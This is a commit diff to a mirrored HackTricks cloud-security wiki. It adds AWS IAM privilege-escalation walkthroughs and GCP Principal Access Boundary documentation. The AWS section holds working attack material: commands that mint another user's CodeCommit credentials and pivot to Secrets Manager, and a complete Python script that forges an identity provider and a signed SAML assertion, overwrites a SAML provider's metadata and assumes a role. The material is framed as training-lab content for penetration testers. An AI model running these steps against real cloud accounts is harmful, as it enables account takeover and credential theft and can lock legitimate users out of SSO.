mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
f
This commit is contained in:
@@ -104,21 +104,51 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user.
|
||||
Enables generating or resetting credentials for specific AWS services (most commonly **CodeCommit**). These are **not** AWS API keys: they are **username/password** credentials for a specific service, and you can only use them where that service accepts them.
|
||||
|
||||
**Exploit for Creation:**
|
||||
**Creation:**
|
||||
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
|
||||
```
|
||||
|
||||
**Exploit for Reset:**
|
||||
Save:
|
||||
|
||||
- `ServiceSpecificCredential.ServiceUserName`
|
||||
- `ServiceSpecificCredential.ServicePassword`
|
||||
|
||||
**Example:**
|
||||
|
||||
```bash
|
||||
# Find a repository you can access as the target
|
||||
aws codecommit list-repositories
|
||||
|
||||
export REPO_NAME="<repo_name>"
|
||||
export AWS_REGION="us-east-1" # adjust if needed
|
||||
|
||||
# Git URL (HTTPS)
|
||||
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
|
||||
|
||||
# Clone and use the ServiceUserName/ServicePassword when prompted
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
|
||||
> Note: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.
|
||||
|
||||
At this point you can read whatever the target user can access in CodeCommit (e.g., a leaked credentials file). If you retrieve **AWS access keys** from the repo, configure a new AWS CLI profile with those keys and then access resources (for example, read a flag from Secrets Manager):
|
||||
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
|
||||
**Reset:**
|
||||
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
|
||||
**Impact:** Direct privilege escalation within the user's service permissions.
|
||||
**Impact:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
@@ -273,8 +303,264 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: A Tool capable of generating the SAML metadata and login with a specified role
|
||||
**End-to-end attack (like HackTricks Training IAM Lab 7):**
|
||||
|
||||
1. Enumerate the SAML provider and a role that trusts it:
|
||||
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
aws iam list-saml-providers
|
||||
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
|
||||
|
||||
# Backup current metadata so you can restore it later:
|
||||
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
|
||||
|
||||
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
|
||||
aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
|
||||
2. Forge IdP metadata + a signed SAML assertion for the role/provider pair:
|
||||
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
pip install lxml signxml
|
||||
|
||||
# Create /tmp/saml_forge.py from the expandable below first:
|
||||
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
j=json.load(open("/tmp/saml-forge.json","r"))
|
||||
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
|
||||
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
|
||||
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Expandable: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import uuid
|
||||
|
||||
from lxml import etree
|
||||
from signxml import XMLSigner, methods
|
||||
|
||||
|
||||
def _run(cmd: list[str]) -> str:
|
||||
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||
return p.stdout
|
||||
|
||||
|
||||
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
|
||||
key_path = os.path.join(tmpdir, "key.pem")
|
||||
cert_path = os.path.join(tmpdir, "cert.pem")
|
||||
_run(
|
||||
[
|
||||
"openssl",
|
||||
"req",
|
||||
"-x509",
|
||||
"-newkey",
|
||||
"rsa:2048",
|
||||
"-keyout",
|
||||
key_path,
|
||||
"-out",
|
||||
cert_path,
|
||||
"-days",
|
||||
"3650",
|
||||
"-nodes",
|
||||
"-subj",
|
||||
"/CN=attacker-idp",
|
||||
]
|
||||
)
|
||||
return key_path, cert_path
|
||||
|
||||
|
||||
def _pem_cert_to_b64(cert_pem: str) -> str:
|
||||
lines: list[str] = []
|
||||
for line in cert_pem.splitlines():
|
||||
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
|
||||
continue
|
||||
line = line.strip()
|
||||
if line:
|
||||
lines.append(line)
|
||||
return "".join(lines)
|
||||
|
||||
|
||||
def make_metadata_xml(cert_b64: str) -> str:
|
||||
return f"""<?xml version="1.0"?>
|
||||
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
|
||||
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
|
||||
<KeyDescriptor use="signing">
|
||||
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
|
||||
<X509Data>
|
||||
<X509Certificate>{cert_b64}</X509Certificate>
|
||||
</X509Data>
|
||||
</KeyInfo>
|
||||
</KeyDescriptor>
|
||||
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
|
||||
</IDPSSODescriptor>
|
||||
</EntityDescriptor>
|
||||
"""
|
||||
|
||||
|
||||
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
|
||||
ns = {
|
||||
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
|
||||
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
|
||||
}
|
||||
|
||||
issue_instant = dt.datetime.now(dt.timezone.utc)
|
||||
not_before = issue_instant - dt.timedelta(minutes=2)
|
||||
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
|
||||
|
||||
resp_id = "_" + str(uuid.uuid4())
|
||||
assertion_id = "_" + str(uuid.uuid4())
|
||||
|
||||
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
|
||||
response.set("ID", resp_id)
|
||||
response.set("Version", "2.0")
|
||||
response.set("IssueInstant", issue_instant.isoformat())
|
||||
response.set("Destination", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
|
||||
issuer.text = "https://attacker.invalid/idp"
|
||||
|
||||
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
|
||||
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
|
||||
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
|
||||
|
||||
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
|
||||
assertion.set("ID", assertion_id)
|
||||
assertion.set("Version", "2.0")
|
||||
assertion.set("IssueInstant", issue_instant.isoformat())
|
||||
|
||||
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
|
||||
a_issuer.text = "https://attacker.invalid/idp"
|
||||
|
||||
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
|
||||
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
|
||||
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
|
||||
name_id.text = "attacker"
|
||||
|
||||
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
|
||||
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
|
||||
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
|
||||
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
|
||||
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
|
||||
conditions.set("NotBefore", not_before.isoformat())
|
||||
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
|
||||
|
||||
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
|
||||
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
|
||||
audience.text = "https://signin.aws.amazon.com/saml"
|
||||
|
||||
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
|
||||
|
||||
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
|
||||
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_role_value.text = f"{role_arn},{principal_arn}"
|
||||
|
||||
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
|
||||
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_session_value.text = "saml-session"
|
||||
|
||||
key_bytes = open(key_pem, "rb").read()
|
||||
cert_bytes = open(cert_pem, "rb").read()
|
||||
|
||||
signer = XMLSigner(
|
||||
method=methods.enveloped,
|
||||
signature_algorithm="rsa-sha256",
|
||||
digest_algorithm="sha256",
|
||||
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
|
||||
)
|
||||
signed_assertion = signer.sign(
|
||||
assertion,
|
||||
key=key_bytes,
|
||||
cert=cert_bytes,
|
||||
reference_uri=f"#{assertion_id}",
|
||||
id_attribute="ID",
|
||||
)
|
||||
|
||||
response.remove(assertion)
|
||||
response.append(signed_assertion)
|
||||
|
||||
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--role-arn", required=True)
|
||||
ap.add_argument("--principal-arn", required=True)
|
||||
args = ap.parse_args()
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
key_path, cert_path = _openssl_make_key_and_cert(tmp)
|
||||
cert_pem = open(cert_path, "r", encoding="utf-8").read()
|
||||
cert_b64 = _pem_cert_to_b64(cert_pem)
|
||||
|
||||
metadata_xml = make_metadata_xml(cert_b64)
|
||||
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
|
||||
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
|
||||
|
||||
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
3. Update the SAML provider metadata to your IdP certificate, assume the role, and use the returned STS credentials:
|
||||
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
|
||||
# Assertion is base64 and can be long. Keep it on one line:
|
||||
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
|
||||
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
|
||||
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
|
||||
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
|
||||
echo "Session expires at: $SESSION_EXP"
|
||||
|
||||
# Use creds inline (no need to create an AWS CLI profile):
|
||||
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
4. Cleanup: restore previous metadata:
|
||||
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
j=json.load(open("/tmp/saml-provider-backup.json","r"))
|
||||
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
|
||||
PY
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
@@ -329,5 +615,3 @@ aws iam put-role-permissions-boundary \
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -68,7 +68,7 @@ An example of a trust policy with this permission is:
|
||||
To generate credentials to impersonate the role in general you could use something like:
|
||||
|
||||
```bash
|
||||
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
|
||||
aws sts assume-role-with-saml --role-arn <role_arn> --principal-arn <provider_arn> --saml-assertion <base64_saml_response>
|
||||
```
|
||||
|
||||
But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
|
||||
@@ -152,4 +152,3 @@ For this attack to be possible, both the trust anchor and the `default` profile
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -116,6 +116,125 @@ Or check if a **custom role can use a** [**specific permission in here**](https:
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Principal Access Boundary (PAB) Policies
|
||||
|
||||
In GCP, the closest equivalent to an **AWS IAM Permissions Boundary** is a **Principal Access Boundary (PAB) policy**.
|
||||
|
||||
A **PAB policy** is an IAM control that **limits the resources that a set of principals are eligible to access**. It **doesn't grant access by itself**; it acts as an additional boundary that can only further restrict what principals can do, even if IAM role bindings would otherwise allow it.
|
||||
|
||||
PAB policies are created at the **organization** level and then **enforced by creating policy bindings** (policy bindings bind a policy to a *principal set*).
|
||||
|
||||
Useful docs:
|
||||
|
||||
- <https://cloud.google.com/iam/docs/principal-access-boundary-policies>
|
||||
- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-create>
|
||||
- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-view>
|
||||
- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-remove>
|
||||
|
||||
### Create / Assign (Apply) a PAB
|
||||
|
||||
Create the PAB policy in the organization:
|
||||
|
||||
```bash
|
||||
gcloud iam principal-access-boundary-policies create PAB_POLICY_ID \
|
||||
--organization=ORG_ID \
|
||||
--location=global \
|
||||
--display-name="My PAB policy" \
|
||||
--details-rules=pab-rules.json \
|
||||
--details-enforcement-version=latest
|
||||
```
|
||||
|
||||
Example `pab-rules.json`:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"description": "Only eligible to access these resources",
|
||||
"resources": [
|
||||
"//cloudresourcemanager.googleapis.com/projects/ALLOWED_PROJECT_ID"
|
||||
],
|
||||
"effect": "ALLOW"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
Apply it by creating a policy binding (this is what actually enforces the policy for the principal set):
|
||||
|
||||
```bash
|
||||
gcloud iam policy-bindings create BINDING_ID \
|
||||
--project=PROJECT_ID \
|
||||
--location=global \
|
||||
--policy="organizations/ORG_ID/locations/global/principalAccessBoundaryPolicies/PAB_POLICY_ID" \
|
||||
--target-principal-set='//cloudresourcemanager.googleapis.com/projects/TARGET_PROJECT_ID'
|
||||
```
|
||||
|
||||
Notes:
|
||||
|
||||
- The binding parent can also be a folder or organization (use `--folder=FOLDER_ID` or `--organization=ORG_ID` instead of `--project=PROJECT_ID`).
|
||||
- `--target-principal-set` supports multiple formats (projects/folders/orgs, workforce/workload identity pools, workspace identity, etc.).
|
||||
- Enforcement versions accepted values are `1`, `2`, `3`, and `latest`.
|
||||
|
||||
### Enumerate
|
||||
|
||||
List PAB policies in an org:
|
||||
|
||||
```bash
|
||||
gcloud iam principal-access-boundary-policies list \
|
||||
--organization=ORG_ID \
|
||||
--location=global
|
||||
```
|
||||
|
||||
Describe a specific PAB policy:
|
||||
|
||||
```bash
|
||||
gcloud iam principal-access-boundary-policies describe PAB_POLICY_ID \
|
||||
--organization=ORG_ID \
|
||||
--location=global
|
||||
```
|
||||
|
||||
List policy bindings under a project/folder/org (these bindings are what enforce PABs):
|
||||
|
||||
```bash
|
||||
gcloud iam policy-bindings list \
|
||||
--project=PROJECT_ID \
|
||||
--location=global
|
||||
```
|
||||
|
||||
Search policy bindings by target principal set (what PABs apply to this target?):
|
||||
|
||||
```bash
|
||||
gcloud iam policy-bindings search-target-policy-bindings \
|
||||
--project=PROJECT_ID \
|
||||
--location=global \
|
||||
--target='//cloudresourcemanager.googleapis.com/projects/TARGET_PROJECT_ID'
|
||||
```
|
||||
|
||||
List policy bindings that reference a specific PAB policy:
|
||||
|
||||
```bash
|
||||
gcloud iam principal-access-boundary-policies search-policy-bindings PAB_POLICY_ID \
|
||||
--organization=ORG_ID \
|
||||
--location=global
|
||||
```
|
||||
|
||||
### Remove
|
||||
|
||||
Remove a PAB from a principal set (delete the policy binding):
|
||||
|
||||
```bash
|
||||
gcloud iam policy-bindings delete BINDING_ID \
|
||||
--project=PROJECT_ID \
|
||||
--location=global
|
||||
```
|
||||
|
||||
Delete the PAB policy itself (optionally `--force` if there are still bindings referencing it):
|
||||
|
||||
```bash
|
||||
gcloud iam principal-access-boundary-policies delete PAB_POLICY_ID \
|
||||
--organization=ORG_ID \
|
||||
--location=global
|
||||
```
|
||||
|
||||
## Users <a href="#default-credentials" id="default-credentials"></a>
|
||||
|
||||
In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace.
|
||||
@@ -228,6 +347,3 @@ As defined by terraform in [https://registry.terraform.io/providers/hashicorp/go
|
||||
- [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user